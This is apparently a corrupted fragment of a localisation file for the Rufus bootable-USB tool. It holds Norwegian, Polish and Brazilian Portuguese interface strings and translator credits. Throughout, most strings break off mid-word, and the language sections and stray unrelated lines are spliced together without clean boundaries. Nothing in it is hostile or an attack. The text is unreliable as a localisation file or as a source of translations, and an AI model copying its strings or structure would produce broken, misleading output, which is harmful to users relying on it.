t MSG_099 "Fil system begrensning"

t MSG_100 "Dette ISO bildet inneholder filer st

t MSG_101 "Mangler WIM st

t MSG_102 "Din plattform kan ikke pakke ut filer fra WIM arkiver. WIM utpakking "

lage EFI oppstartbar Windows 7 og Windows Vista USB stasjoner. Du kan fikse det "

t MSG_103 "Lastet ned %s?"

t MSG_104 "%s eller senere er p

krevd for at '%s' filen kan bli innstallert.\n"

rrelse, og er alltid tilstede i %s ISO bilder, "

"'%s' er der, vil den bli brukt automatisk.\n"

t MSG_106 "Vennligst velg en mappe"

t MSG_108 "Rufus logg"

t MSG_110 "MS-DOS kan ikke boote fra en stasjon som brukeren 64 kilobytes Cluster st

t MSG_111 "Inkompatibelt Cluster st

t MSG_112 "Formatere en stor UDF volum kan ta mye tid. Ved

"tiden er %d:d, under denne tiden vil framgangslinjen virke frossen. Vennligst v

t MSG_113 "Stort UDF volum"

t MSG_114 "Dette bildet bruker Syslinux %s%s men dette programmet inkluderer kun installsjons filer for "

"Syslinux %s%s.\n\nNye versjoner av Syslinux er ikke kompatible med hverandre, og dermed "

"Internett ('ldlinux.sys' og 'ldlinux.bss'):\n"

t MSG_115 "Nedlasting p

t MSG_116 "Dette bildet bruker Grub %s, men programmet inkluderer kun installasjonsfiler for"

"Grub %s.\n\nForskjellige versjoner av Grub er muligens ikke kompatible med hverandre, og er ikke "

"installasjon filen ('core.img') som passer til ditt bilde:\n"

t MSG_150 "Som oftest det tryggeste valget. Hvis du har en UEFI datamaskin og

"et operativsystem i EFI mode uansett, skal du velge en av de andre valgene"

t MSG_151 "Bruk dette hvis du vil installere et operativsystem i EFI mode, men trenger

"til USB innholdet fra Windows XP"

t MSG_152 "Det foretrukne valget for

installere operativsystemet i EFI mode og n

krevd av Windows XP"

t MSG_157 "Setter m

t MSG_158 "Minimum st

t MSG_159 "Bruk dette feltet for

t MSG_160 "Avanserte valg"

t MSG_161 "Velg antall passeringer for

t MSG_162 "Bruk \"langsom\" formaterings metode ved

t MSG_163 "Merk denne boksen for

t MSG_164 "Metoden som vil bli brukt for

t MSG_165 "Klikk for

t MSG_166 "Merk denne boksen for

"og lage et stasjons ikon (lager en autorun.inf)"

t MSG_167 "Installerer en MBR som tillater oppstarts valg og kan maskere BIOS USB stasjons ID"

dvendig hvis du installerer Windows XP og har mer enn en stasjon"

t MSG_169 "Lager en ekstra skjult partisjon og fors

t MSG_170 "Aktivere listen av USB Hard Disk kabinetter. BRUKES P

t MSG_171 "Starter formaterings operasjonen.\nDette vil SLETTE data p

t MSG_172 "Lisens in formasjon og krediteringer"

t MSG_173 "Klikk for

t MSG_175 "Versjon %d.%d (Utgave %d)"

t MSG_176 "Norsk oversettelse: JED <mailto:translator744@outlook.com >"

t MSG_177 "Rapporter feil, og foresp

t MSG_178 "Tilleggs Copyright:"

t MSG_179 "Oppdaterings politikk:"

t MSG_180 "Hvis du

t MSG_181 "Ditt operativsystems arkitektur og versjon"

t MSG_182 "Versjon programmet du bruker"

t MSG_183 "Din IP adresse"

t MSG_184 "For muligheten

t MSG_185 "Oppdaterings prosess:"

t MSG_186 "Rufus vil ikke installere eller kj

t MSG_187 "Ugyldig bilde for valgt oppstart l

t MSG_188 "Det n

rende bilde passer ikke den valgte oppstarts valget. Vennligst velg ett annet bilde, eller velg et annet oppstarts valg."

t MSG_189 "Dette ISO bildet er ikke kompatibelt med det valgte filsystemet"

t MSG_190 "Ikke kompatibel stasjon oppdaget"

t MSG_191 "Skriving"

t MSG_192 "Lesing"

t MSG_193 "Lastet ned %s"

t MSG_194 "Kunne ikke laste ned %s"

t MSG_195 "Bruker innebygget versjon av %s fil(er)"

t MSG_196 "VIKTIGT: DENNE STASJONEN BRUKER IKKE STANDARD SEKTOR ST

rrelse, mens denne stasjonen bruker en %d-byte. "

t MSG_197 "Ikke standard sektor st

t MSG_199 "Velg dette hvis du planlegger

installere Windows, til en annen stasjon, "

t MSG_200 "Velg dette hvis du vil kj

re Windows direkte fra valgte stasjon."

t MSG_201 "Avbryter - Vennligst vent..."

t MSG_202 "Skanner bilde..."

t MSG_203 "Feilet i bilde s

t MSG_204 "Foreldet %s oppdaget"

t MSG_205 "Bruker bilde: %s"

t MSG_206 "Mangler %s fil"

t MSG_207 "Nytt Volum"

t MSG_208 "%d enhet funnet"

t MSG_209 "%d enhet funnet"

t MSG_210 "KLAR"

t MSG_211 "Avbrutt"

t MSG_212 "Feilet"

t MSG_213 "Starter ett nytt program..."

t MSG_214 "Oppstart feilet"

pnet %s"

t MSG_216 "Lagret %s"

t MSG_217 "Formatert: %0.1f%% fullf

t MSG_218 "Lager filsystem: Oppgave %d/%d fullf

t MSG_219 "NTFS opprettet: %d%% fullf

t MSG_220 "Formaterer (%s) - estimeret varighet %d:d..."

t MSG_221 "Lager merkelapp (Dette kan ta en stund)..."

t MSG_223 "NTFS retting (Checkdisk)..."

t MSG_224 "Fjerner MBR/PBR/GPT strukturer..."

t MSG_225 "Ber om stasjons tilgang..."

t MSG_226 "Analyserer oppstarts arkiver..."

t MSG_227 "Lukker eksisterende volum..."

t MSG_228 "Skriver hoved oppstarts arkiv..."

t MSG_229 "Skriver partisjon oppstarts arkiv..."

t MSG_230 "Kopierer DOS filer..."

t MSG_231 "Kopierer ISO filer..."

t MSG_232 "Win7 EFI oppstarts oppsett (Dette kan ta litt tid)..."

t MSG_233 "Ferdiggj

t MSG_235 "D

rlige blokker: %s %d/%d - %0.2f%% (%d/%d/%d feil)"

t MSG_236 "D

t MSG_237 "D

nster 0xX"

t MSG_238 "Partisjonerer (%s)..."

t MSG_239 "Sletter partisjoner..."

t MSG_240 "Laster ned %s: Kobler til..."

t MSG_241 "Laster ned: %0.1f%%"

t MSG_242 "Nedlasting av fil feilet."

t MSG_243 "Sjekker for Rufus oppdateringer..."

t MSG_244 "Oppdateringer: Ikke mulig

t MSG_245 "Oppdateringer: Ikke mulig

t MSG_246 "En ny versjon av Rufus er tilgjengelig!"

t MSG_247 "Ingen ny versjon av Rufus er funnet"

t MSG_248 "Programmets register n

t MSG_249 "Sletting av register n

t MSG_250 "%s aktivert"

t MSG_251 "%s deaktivert"

t MSG_252 "St

t MSG_253 "Harddisk oppdagelse"

t MSG_254 "Tvinger stor FAT32 formatering"

t MSG_255 "NoDriveTypeAutorun vil bli oppdaget ved avsluttning"

t MSG_256 "Falsk stasjon oppdaget"

t MSG_257 "Joliet st

t MSG_258 "Rock Ridge st

t MSG_259 "Tvungen oppdatering"

t MSG_260 "NTFS pakking"

t MSG_261 "Skriver bilde: %0.1f%% ferdig"

t MSG_262 "ISO St

t MSG_263 "Bruk SKIKKELIG st

t MSG_264 "Sletter mappe '%s'"

t MSG_265 "VMWare disk oppdagelse"

t MSG_266 "Dobbel UEFI/BIOS instilling"

t MSG_267 "Legger til Windows bilde: %0.1f%% ferdig"

t MSG_268 "Legger til Windows bilde..."

t MSG_269 "Bevarer tidskode"

t MSG_270 "USB avkoding"

t MSG_271 "Regner ut bilde sjekksummer: %0.1f%% fullf

t MSG_272 "Regner ut MD5, SHA1 og SHA256 sjekksummer for det valgte bilde"

t MSG_273 "Bytt program spr

t MSG_274 "ISOHybrid bilde oppdaget"

t MSG_275 "Bildet du har valgt er en 'ISOHybrid' bilde. Dette betyr det enten kan bli skrevet i "

"%s (fil kopi) modus eller %s (bildefil) modus.\n"

bruke %s modus, slik at du har full tilgang til stasjonen etter at du har skrevet til den.\n"

skrive bildet igjen i %s modus.\n\n"

t MSG_276 "Skriv i %s modus (Anbefalt)"

t MSG_277 "Skriv i %s modus"

t MSG_278 "Oppstart type"

t MSG_279 "Ikke oppstartbar"

t MSG_280 "Bilde valg"

t MSG_281 "(Vennligst velg et bilde)"

t MSG_282 "Utelat USB stasjonsl

t MSG_284 "Den nedlastede programfil mangler en digital signatur."

t MSG_285 "Den nedlastede programfil er signert av '%s'.\nDette er en signatur vi ikke gjenkjenner, og kan "

s IDC_NBPASSES -15,0

m IDC_NBPASSES  55,0

t IDC_WINDOWS_TO_GO "

autorun.inf"

: %d\n

t MSG_012 "%s\n

.\n%s"

%d.%d (Build %d)

Syslinux %s%s

ldlinux.bss

Grub %s

mailto:s.zia.azimi@gmail.com

t MSG_193 "%s

: %d/%d

: %d%%

: %d:d

(%s)...

Syslinux %s...

0xX

s IDC_NBPASSES -60,0

m IDC_NBPASSES  100,0

t IDC_WINDOWS_INSTALL "Standardowa instalacja Windowsa"

t IDC_WEBSITE "Kliknij tutaj aby przej

t MSG_001 "Wykryto inn

t MSG_002 "Inna aplikacja Rufus jest uruchomiona.\n"

t MSG_003 "UWAGA: WSZYSTKIE DANE NA URZ

DZENIU '%s' ZOSTAN

operacj

t MSG_004 "Polityka aktualizacji Rufusa"

t MSG_005 "Czy chcesz zezwoli

t MSG_006 "Zamknij"

t MSG_007 "Anuluj"

t MSG_008 "Tak"

t MSG_009 "Nie"

t MSG_010 "Znaleziono uskodzone sektory"

t MSG_011 "Sprawdzanie zako

czone: znaleziono %d uskodzone sektory(

" %d b

w odczytu\n %d b

w zapisu\n %d b

t MSG_012 "%s\nRaport szczeg

pny w:\n%s"

t MSG_013 "Wy

t MSG_014 "Dziennie"

t MSG_015 "Tygodniowo"

t MSG_016 "Miesi

t MSG_017 "W

t MSG_018 "Twoja wersja: %d.%d (Build %d)"

t MSG_019 "Najnowsza wersja: %d.%d (Build %d)"

t MSG_020 "bajt

t MSG_029 "Domy

t MSG_030 "%s (Domy

t MSG_031 "Schemat partycjonowania %s dla BIOS lub %s"

t MSG_032 "Schemat partycjonowania %s dla BIOS"

t MSG_033 "Schemat partycjonowania %s dla UEFI"

t MSG_034 "%d Przebieg"

t MSG_035 "%d Przebiegi"

t MSG_037 "Aplikacja"

t MSG_038 "Przerwij"

t MSG_039 "Uruchom"

t MSG_040 "Pobierz"

t MSG_041 "Operacja anulowana przez u

t MSG_042 "B

t MSG_043 "B

d: %s"

t MSG_044 "Pobieranie pliku"

t MSG_045 "Urz

t MSG_046 "%s (Dysk %d) [%s]"

t MSG_047 "Wiele Partycji"

t MSG_048 "Rufus - Czyszczenie bufor

t MSG_049 "Rufus - Anulowanie"

t MSG_050 "Sukces."

t MSG_051 "Niezidentyfikowany bl

t MSG_052 "Nie mo

t MSG_053 "Dost

t MSG_054 "Zapis no

t MSG_055 "Urz

t MSG_056 "Szybkie formatowanie jest niedost

t MSG_057 "Nazwa woluminu jest nieprawid

t MSG_059 "Wybrany rozmiar jednostki alokacji jest nieprawidowy dla tego urz

t MSG_060 "Rozmiar woluminu jest nieprawid

t MSG_061 "Prosz

t MSG_062 "Otrzymano niewspieran

t MSG_063 "B

t MSG_064 "B

t MSG_065 "B

t MSG_066 "Niepowodzenie instalacji"

t MSG_067 "Nie mo

t MSG_068 "B

t MSG_069 "Nie mo

t MSG_070 "Anulowane przez u

t MSG_071 "Nie mo

t MSG_072 "Nie uko

t MSG_073 "Niepowodzenie skanowania pliku ISO."

t MSG_074 "Niepowodzenie wypakowywania pliku ISO."

t MSG_075 ""Nie mo

t MSG_076 ""Nie mo

t MSG_077 "Nie mo

t MSG_078 "Nie mo

t MSG_079 "Urz

t MSG_080 "Rufus wykry

e Windows ci

dzenia USB, ta operacja mo

Windowsowui sko

t MSG_081 "Niewspierany obraz"

t MSG_082 "Ten obraz nie jest bootowalny lub u

t MSG_083 "Zast

t MSG_084 "Ten plik ISO wydaje si

d:\n"

"'%s' jest tutaj, zostanie u

t MSG_085 "Pobieranie %s"

t MSG_086 "Nie wybrano obrazu"

t MSG_087 "Prosz

t MSG_088 "Obraz jest zbyt du

t MSG_089 "Ten obraz jest zbyt du

t MSG_090 "Niewspierane ISO"

t MSG_091 "Podczas u

t MSG_092 "Niewspierany system plik

t MSG_093 "WA

wymienione lub nawet widoczne z poziomu Windows. "

t MSG_094 "Wykryto wiele partycji"

t MSG_096 "Aktualnie zaznaczony system plik

t MSG_097 "'%s' mo

t MSG_098 "WA

'Windows To Go', lecz dysk docelowy nie ma "

"atrybytu 'LOKALNY'. Z tego powodu Windows prawdopodobnie zawiesi si

t MSG_099 "Ograniczenia systemu plik

t MSG_100 "Ten obraz ISO zawiera plik wi

t MSG_101 "Brakuj

t MSG_102 "Twoja platforma nie mo

bootowalny dysk USB EFI z Windows 7 i Windows Vista. Mo

t MSG_103 "Pobra

t MSG_104 "%s lub p

niejszy wymaga zainstalowania pliku '%s' .\n"

100 KB i zawsze jest obecny na obrazach ISO %s, "

"'%s' istnieje tutaj, zostanie ponownie u

t MSG_105 "Anulowanie mo

t MSG_106 "Prosz

t MSG_107 "Wszystkie pliki"

t MSG_109 "0xX (Dysk %d)"

t MSG_110 "MS-DOS nie mo

t MSG_111 "Niekompatybilny Rozmiar jednostki alokacji"

t MSG_112 "Formatowanie du

"formatowania wynosi %d:d, podczas kt

t MSG_113 "Du

t MSG_114 "Ten obraz u

ywa Syslinux %s%s, lecz ta aplikacja do

"Syslinux %s%s.\n\nPoniewa

"z Internetu ('ldlinux.sys' oraz 'ldlinux.bss'):\n"

t MSG_115 "Wymagane pobieranie"

t MSG_116 "Ten obraz u

ywa Grub %s, lecz ta aplikacja do

"Grub %s.\n\nPoniewa

"('core.img') kt

t MSG_150 "Zazwyczaj najbezpieczniejszy wyb

t MSG_151 "U

ci USB z Windows XP"

t MSG_152 "Preferowana opcja aby zainstalowa

p do USB nie jest wymagany dla Windows XP"

t MSG_153 "Wzorzec testowy: 0xX"

t MSG_154 "Wzorzec testowy: 0xX, 0xX"

t MSG_155 "Wzorzec testowy: 0xX, 0xX, 0xX"

t MSG_156 "Wzorzec testowy: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Ustawia docelowy system plik

t MSG_158 "Minimalny rozmiar jaki blok b

t MSG_159 "U

t MSG_160 "Prze

t MSG_161 "Sprawd

t MSG_162 "Odznacz to pole aby u

t MSG_163 "Zaznacz to pole aby stworzy

t MSG_164 "Metoda kt

t MSG_165 "Kliknij aby wybra

t MSG_166 "Zaznacz to pole aby zezwoli

dzenia (tworzy plik autorun.inf)"

t MSG_167 "Instaluje MBR, kt

dzie to konieczne tylko przy instalowaniu Windowsa XP i posiadaniu wi

t MSG_169 "Tworzy dodatkow

t MSG_170 "W

t MSG_171 "Uruchamia operacj

t MSG_172 "Informacje o licencji i creditsy"

t MSG_173 "Kliknij aby wybra

t MSG_175 "Wersja %d.%d (Build %d)"

t MSG_176 "Polskie t

umaczenie: Piotr Halama <hXXp://halamix2.pl> \\line "

"Poprawki: Krzysztof J. Szklarski <hXXp://VVV.napisy.info>"

t MSG_177 "Zg

t MSG_178 "Dodatkowe prawa autorskie:"

t MSG_179 "Polityka aktualizacji:"

t MSG_180 "Je

t MSG_181 "Architektura i wersja twojego systemu operacyjnego"

t MSG_182 "Wersja aplikacji z kt

t MSG_183 "Tw

t MSG_184 "W celu generowania poufnych statystyk u

t MSG_185 "Proces aktualizacji:"

t MSG_186 "Rufus nie instaluje lub uruchamia proces

t MSG_187 "Obraz nieprawid

t MSG_188 "Obecny obraz nie pasuje do wybranej opcji bootowania. Prosz

t MSG_189 "Ten obraz ISO jest niekompatybilny z wybranym systemem plik

t MSG_190 "Wykryto niekompatybilny dysk"

t MSG_191 "Post

t MSG_192 "Post

t MSG_193 "Pobrano %s"

t MSG_194 "Nie mo

t MSG_195 "U

w) %s"

t MSG_196 "WA

ywa %d-bajtowego. "

t MSG_197 "Wysryto niestandardowy rozmiar sektora"

t MSG_198 "'Windows To Go' mo

t MSG_199 "Wybierz to, je

Windows na innym dysku, u

t MSG_200 Wybierz to, je

Windows bezpo

t MSG_201 "Anulowanie - Prosz

t MSG_202 "Skanowanie obrazu..."

t MSG_203 "Niepowodzenie skanowania obrazu"

t MSG_204 "wykryto przestarza

e %s"

t MSG_205 "U

ywany obraz: %s"

t MSG_206 "Brak pliku %s"

t MSG_207 "Nowy"

t MSG_208 "znaleziono %d urz

t MSG_209 "znaleziono %d urz

t MSG_210 "Gotowy"

t MSG_211 "Anulowano"

t MSG_212 "NIEPOWODZENIE"

t MSG_213 "Uruchamianie nowej aplikacji..."

t MSG_214 "Niepowodzenie uruchomienia nowej aplikacji"

t MSG_215 "Otwarto %s"

t MSG_216 "Zapisano %s"

t MSG_217 "Formatowanie: uko

t MSG_218 "Tworzenie systemu plik

czono zadanie %d/%d"

t MSG_219 "Naprawianie NTFS: uko

czono %d%%"

t MSG_220 "Formatowanie (%s) - przewidywany czas %d:d..."

t MSG_221 "Ustawianie Etykiety (To mo

t MSG_222 "Formatowanie (%s)..."

t MSG_223 "Naprawianie NTFS (Checkdisk)..."

t MSG_224 "czyszczenie struktur MBR/PBR/GPT..."

t MSG_226 "Analizowanie istniej

t MSG_227 "Zamykanie istniej

t MSG_228 "Zapisywanie master boot record..."

t MSG_229 "Zapisywanie partition boot record..."

t MSG_230 "Kopiowanie plik

t MSG_231 "Kopiowanie plik

t MSG_232 "Ustawianie bootowania Win7 EFI (to mo

t MSG_233 "Finalizacja, prosz

t MSG_234 "Instalowanie Syslinux %s..."

t MSG_235 "B

dne Sektory: %s %d/%d - %0.2f%% (%d/%d/%d b

t MSG_236 "B

t MSG_237 "B

dne Sektory: Testowanie z wzorem 0xX"

t MSG_238 "Partycjonowanie (%s)..."

t MSG_239 "Usuwanie partycji..."

t MSG_240 "Pobieranie %s:

t MSG_241 "Pobieranie: %0.1f%%"

t MSG_242 "Niepowodzenie pobierania pliku."

t MSG_243 "Sprawdzanie aktualizacji Rufusa..."

t MSG_244 "Aktualizacje: Nie mo

t MSG_245 "Aktualizacje: Nie mo

t MSG_246 "Jest dost

t MSG_247 "Nie znaleziono nowszej wersji Rufusa"

t MSG_248 "Pomy

t MSG_249 "Niepowodzenie usuwania kluczy rejestru aplikacji"

t MSG_250 "w

czono %s"

t MSG_251 "wy

czono %s "

t MSG_252 "Sprawdzanie rozmiaru"

t MSG_253 "Wykrywanie dysk

t MSG_254 "Si

t MSG_255 "NoDriveTypeAutorun zostanie usuni

t MSG_256 "Fa

t MSG_257 "Wsparcie Joliet"

t MSG_258 "Wsparcie Rock Ridge"

t MSG_259 "Si

t MSG_260 "Kompresja NTFS"

t MSG_261 "Zapisywanie obrazu: uko

t MSG_262 "Wsparcie ISO"

t MSG_263 "U

t MSG_264 "Usuwanie folderu '%s'"

t MSG_265 "Wykrywanie dysk

t MSG_266 "Tryb dual UEFI/BIOS"

t MSG_267 "Zastosowywanie obrazu Windows: uko

t MSG_268 "Zastosowywanie obrazu Windows..."

t MSG_269 "Zachowaj znacziki czasu"

t MSG_270 "Debugowanie USB"

t MSG_271 "Obliczanie sum kontrolnych obrazu: uko

t MSG_272 "Oblicz sumy kontrolne MD5, SHA1 oraz SHA256 dla wybranego obrazu"

t MSG_273 "Zmie

t MSG_274 "Wykryto obraz ISOHybrid"

t MSG_275 "Obraz kt

"%s (kopia plik

w) lub trybie %s (obraz dysku).\n"

ycie trybu %s aby

ten obraz ponownie w trybie %s.\n\n"

t MSG_276 "Zapisz w trybie %s (zalecane)"

t MSG_277 "Zapisz w trybie %s"

t MSG_278 "Typ bootowania"

t MSG_279 "Niebootowalne"

t MSG_280 "Wyb

t MSG_281 "(Prosz

t MSG_282 "Blokowanie dysku USB na wy

t MSG_283 "Nieprawid

t MSG_284 "Pobrany plik wykonywalny nie posiada cyfrowej sygnatury."

t MSG_285 "Pobrany plik wykonywalny jest podpisany przez '%s'.\nTo nie jest rozpoznawana przez nas sygnatura i mo

l "pt-BR" "Portuguese Brazilian (Portugu

t IDC_WINDOWS_INSTALL "Instala

o do Windows"

t IDC_WEBSITE "Clique aqui para ir ao Site de Rufus"

t MSG_001 "Foi detectada outra aplica

t MSG_002 "Outra aplica

o Rufus em execu

t MSG_003 "AVISO: TODOS OS DADOS EM %s SER

"Para continuar, clique em OK. Para sair da opera

t MSG_004 "Atualiza

t MSG_005 "Permitir que Rufus procure atualiza

t MSG_006 "Fechar"

t MSG_007 "Cancelar"

t MSG_008 "Sim"

t MSG_010 "Foram encontrados erros no disco"

t MSG_011 "Verifica

o completa: %d erros encontrados\n"

" %d erros de leitura\n %d erros de grava

o\n %d erros de corrup

t MSG_012 "%s\nMais informa

veis em:\n%s"

t MSG_013 "Nunca"

t MSG_014 "Diariamente"

t MSG_015 "Semanalmente"

t MSG_016 "Mensalmente"

t MSG_017 "Personalizado"

t MSG_018 "Sua vers

o: %d.%d (Build %d)"

t MSG_031 "Parti

o %s para BIOS ou %s"

t MSG_032 "Parti

o %s para BIOS"

t MSG_033 "Parti

o %s para UEFI"

t MSG_034 "%d passo"

t MSG_035 "%d passos"

t MSG_036 "Imagem ISO"

t MSG_037 "Aplica

t MSG_038 "Abortar"

t MSG_039 "Inciar"

t MSG_040 "Descarregar"

t MSG_041 "Opera

t MSG_042 "Erro"

t MSG_043 "Erro: %s"

t MSG_044 "Download do arquivo"

t MSG_045 "Dispositivo de armazenamento USB (Gen

t MSG_046 "%s (Disco %d) [%s]"

t MSG_048 "Rufus - Limpando bufers"

t MSG_049 "Rufus - Cancelamento"

t MSG_050 "Sucesso."

t MSG_051 "Erro indeterminado durante a formata

t MSG_052 "N

t MSG_053 "Acesso ao dispositivo negado."

t MSG_054 "Dispositivo est

t MSG_055 "Outra aplica

t MSG_056 "Formata

t MSG_057 "Nome do Volume n

t MSG_058 "Gerenciador de dispositivos n

t MSG_059 "O tamanho de cluster indicado n

t MSG_060 "O tamanho do volume n

t MSG_061 "Inserir um dispositivo USB."

t MSG_062 "Comando n

o suportado."

t MSG_063 "Erro na aloca

t MSG_064 "Erro de leitura."

t MSG_065 "Erro de grava

t MSG_066 "Falha na instala

t MSG_067 "Imposs

t MSG_068 "Erro ao criar parti

t MSG_069 "N

t MSG_070 "Cancelado pelo usu

t MSG_071 "Imposs

t MSG_072 "Verifica

t MSG_073 "Erro na an

t MSG_074 "Erro na extra

t MSG_075 "Imposs

t MSG_076 "Imposs

t MSG_077 "Imposs

t MSG_078 "Imposs

t MSG_079 "O dispositivo n

t MSG_080 "Rufus detectou que o Windows ainda est

"Dependendo da velocidade do dispositivo USB, esta opera

"especialmente para arquivos grandes.\n\nRecomendamos que espere o Windows terminar para evitar arquivo corrompido; "

t MSG_081 "Imagem n

o suportada"

t MSG_082 "Esta imagem n

o suportado pelo Rufus..."

t MSG_083 "Substituir %s?"

t MSG_084 "Esta imagem ISO usa uma vers

o obtida do arquivo '%s'.\n"

"o arquivo\n '%s' existente a

t MSG_085 "Baixando %s"

t MSG_086 "N

t MSG_087 "Pressione o bot

t MSG_088 "Imagem ISO muito grande"

t MSG_089 "A imagem ISO

t MSG_090 "ISO n

o suportado"

t MSG_091 "Quando se usa UEFI como tipo de destino, s

o suportadas imagens ISO boot

t MSG_092 "Sistema de arquivos n

t MSG_093 "IMPORTANTE: ESTA UNIDADE CONT

vel para o Windows. "

t MSG_094 "M

t MSG_095 "Imagem DD"

t MSG_096 "O sistema de arquivo selecionado n

t MSG_097 "'%s' s

t MSG_098 "IMPORTANTE: Voc

tentando instalar 'Windows Para Levar', por

"tem o atributo 'FIXED' . Portanto,

vel que o Windows trave durante o boot, "

t MSG_102 "A sua plataforma n

vel tipo EFI com Windows 7 e Windows Vista. "

t MSG_103 "Baixar %s?"

t MSG_104 "%s ou posterior requer que esteja instalado um arquivo '%s' .\n"

"imagens ISO %s, Rufus n

"um \n arquivo '%s' atual, ser

t MSG_105 "Cancelar agora pode deixar o dispositivo INUTILIZADO.\n"

t MSG_106 "Selecione a pasta"

t MSG_107 "Todos os arquivos"

t MSG_108 "Registro de eventos de Rufus"

t MSG_109 "0xX (Disco %d)"

t MSG_110 "MS-DOS n

t MSG_111 "Tamanho de cluster incompat

t MSG_112 "Formatar um volume UDF de tamanho grande pode demorar muito tempo.

%d:d, durante o qual a barra de progresso parecer

t MSG_113 "Volume UDF de tamanho grande"

t MSG_114 "Esta imagem usa Syslinux %s%s, mas este aplicativo inclui somente os arquivos de instala

"Syslinux %s%s.\n\nComo novas vers

o' para cancelar a opera

t MSG_115 "Download necess

t MSG_116 "Esta imagem usa o Grub %s mas este aplicativo inclui somente os arquivos de instala

"Grub %s.\n\nomo novas vers

o do Grub ('core.img') que se encaixa com a sua imagem:\n"

"- Selecione 'Cancelar' para abortar a opera

t MSG_150 "Geralmente a op

"um sistema operacional no modo EFI, deve selecionar uma das outras op

t MSG_151 "Use esta op

o se quiser instalar um sistema operacional no modo EFI, mas necessita de acessar "

do do USB do Windows XP"

t MSG_152 "A op

o preferida para instalar um sistema operativo em modo EFI e "

o se necessita de ler o USB no Windows XP"

t MSG_153 "Teste padr

o: 0xX"

t MSG_154 "Teste padr

o: 0xX, 0xX"

t MSG_155 "Teste padr

o: 0xX, 0xX, 0xX"

t MSG_156 "Teste padr

o: 0xX, 0xX, 0xX, 0xX"

t MSG_157 "Selecionar o sistema de arquivos destino"

t MSG_158 "Tamanho m

t MSG_159 "Use este campo para atribuir o nome ao volume\nPodem ser caracteres acentuados"

t MSG_160 "Exibir op

t MSG_161 "Verifica

t MSG_162 "Desmarque esta op

t MSG_163 "Marque esta op

t MSG_165 "Selecionar uma imagem ISO..."

t MSG_166 "Selecione esta op

cone para a unidade (cria um arquivo autorun.inf)"

t MSG_167 "Instala um MBR que permite selecionar o dispositivo de arranque e pode nomear "

t MSG_168 "Trata de nomear o primeiro dispositivo USB de arranque (normalmente 0x80) como um disco diferente.\n"

rio se instalar Windows XP e tinha mais de um disco r

t MSG_169 "Cria uma parti

t MSG_170 "Ativa a detec

gido port

t MSG_171 "Come

a a opera

t MSG_172 "Informa

t MSG_173 "Clique para selecionar..."

t MSG_174 "Rufus - O utilit

t MSG_175 "Vers

o %d.%d (Build %d)"

t MSG_176 "Tradutores: Tiago Rinaldi <trinaldi@gmail.com>\\line"

"\\tab Chateaubriand Vieira Moura <chateaubriand@ifse.com.br>"

t MSG_177 "Para reportar bugs ou sugerir melhoras, dirija-se a:"

t MSG_178 "Direitos autorais:"

t MSG_179 "Politica de atualiza

t MSG_180 "Autorizo este programa

t MSG_181 "A arquitetura e vers

o do meu sistema operacional"

t MSG_182 "A vers

t MSG_183 "O meu endere

t MSG_184 "A fim de gerar estat

t MSG_185 "Processo de atualiza

t MSG_186 "Rufus n

o instala nem executa nenhum servi

o, nem programada, em segundo plano. Portanto a procura"

em execu

t MSG_187 "Imagem inv

t MSG_188 "A imagem atual n

t MSG_189 "Esta imagem ISO n

t MSG_190 "Drive incompat

t MSG_191 "Passagem de grava

t MSG_192 "Passagem de leitura"

t MSG_193 "Baixado %s"

t MSG_194 "N

vel baixar %s"

t MSG_195 "Usando a vers

o do %s arquivo(s)"

t MSG_196 "IMPORTANTE: ESTE DRIVE USA UM TAMANHO DE SETOR FORA DO PADR

"Drives convencionais usam um setor de 512-byte mas este usa um de %d-byte. "

t MSG_197 "Tamanho de setor fora de padr

t MSG_198 "'Windows Para Levar' s

t MSG_199 "Selecione se deseja instalar o Windows, para outro disco, utilizando o dispositivo selecionado como m

t MSG_200 "Selecione se deseja rodar o Windows direto deste dispositivo."

t MSG_201 "Cancelando - por favor espere..."

t MSG_202 "Analisando a imagem ISO..."

t MSG_203 "Falha ao analisar a imagem ISO"

t MSG_204 "Foi detectado um arquivo %s obsoleto"

t MSG_205 "Usando imagem: %s"

t MSG_206 "Falta o arquivo %s"

t MSG_207 "Nome do volume"

t MSG_208 "%d dispositivo encontrado"

t MSG_209 "%d dispositivos encontrados"

t MSG_211 "Opera

t MSG_212 "A opera

t MSG_213 "Instalando a nova atualiza

t MSG_214 "Erro ao iniciar a nova atualiza

t MSG_215 "%s aberto"

t MSG_216 "%s guardado"

t MSG_217 "Formatando: %0.1f%% completo"

t MSG_218 "Criando sistema de arquivos: Tarefa %d/%d completa"

t MSG_219 "Finaliza

o de NTFS: %d%% completo"

t MSG_220 "Formatando (%s) - dura

o estimada %d:d..."

t MSG_221 "Atribuindo o nome do volume (pode demorar um pouco)..."

t MSG_222 "Formatando (%s)..."

t MSG_223 "Finaliza

t MSG_224 "Apagando as estruturas MBR/PBR/GPT..."

t MSG_225 "Solicitando acesso ao disco..."

t MSG_226 "Analisando estruturas de arranque existentes..."

t MSG_227 "Fechando o volume existente..."

t MSG_228 "Escrevendo o registro mestre de arranque (Master Boot Record)..."

t MSG_229 "Escrevendo o registro de arranque da parti

t MSG_230 "Copiando arquivos DOS..."

t MSG_231 "Copiando arquivos ISO..."

t MSG_232 "Configura

t MSG_233 "Finalizando, por favor aguarde..."

t MSG_234 "Instalando Syslinux %d..."

t MSG_235 "Blocos com erro: %s %d/%d - %0.2f%% (%d/%d/%d erros)"

t MSG_236 "Blocos com erro: Verificando com teste padr

t MSG_237 "Blocos com erro: Verificando com teste padr

o 0xX"

t MSG_238 "Criar parti

es (%s)..."

t MSG_239 "Apagar parti

t MSG_240 "Baixando %s: Conectando..."

t MSG_241 "Baixando: %0.1f%%"

t MSG_242 "Erro ao baixar arquivo."

t MSG_243 "Procurando atualiza

t MSG_244 "Atualiza

t MSG_245 "Atualiza

t MSG_246 "Existe uma nova vers

t MSG_247 "N

t MSG_248 "Foram apagadas as chaves de registro da aplica

t MSG_249 "Falha ao apagar as chaves de registro da aplica

t MSG_250 "%s ativado"

t MSG_251 "%s desativado"

t MSG_252 "Verifica

t MSG_253 "Detec

t MSG_254 "For

t MSG_255 "Apagar NoDriveTypeAutorun ao sair"

t MSG_256 "Simula

t MSG_257 "Suporte para Joliet"

t MSG_258 "Suporte para Rock Ridge"

t MSG_260 "Compress

t MSG_261 "Escrevendo imagem: %0.1f%% conclu

t MSG_262 "ISO Suportado"

t MSG_263 "Use unidades de tamanho APROPRIADO"

t MSG_264 "Deletando diret

rio '%s'"

t MSG_265 "Detectando disco VMWare"

t MSG_266 "Modo UEFI/BIOS conjuntos"

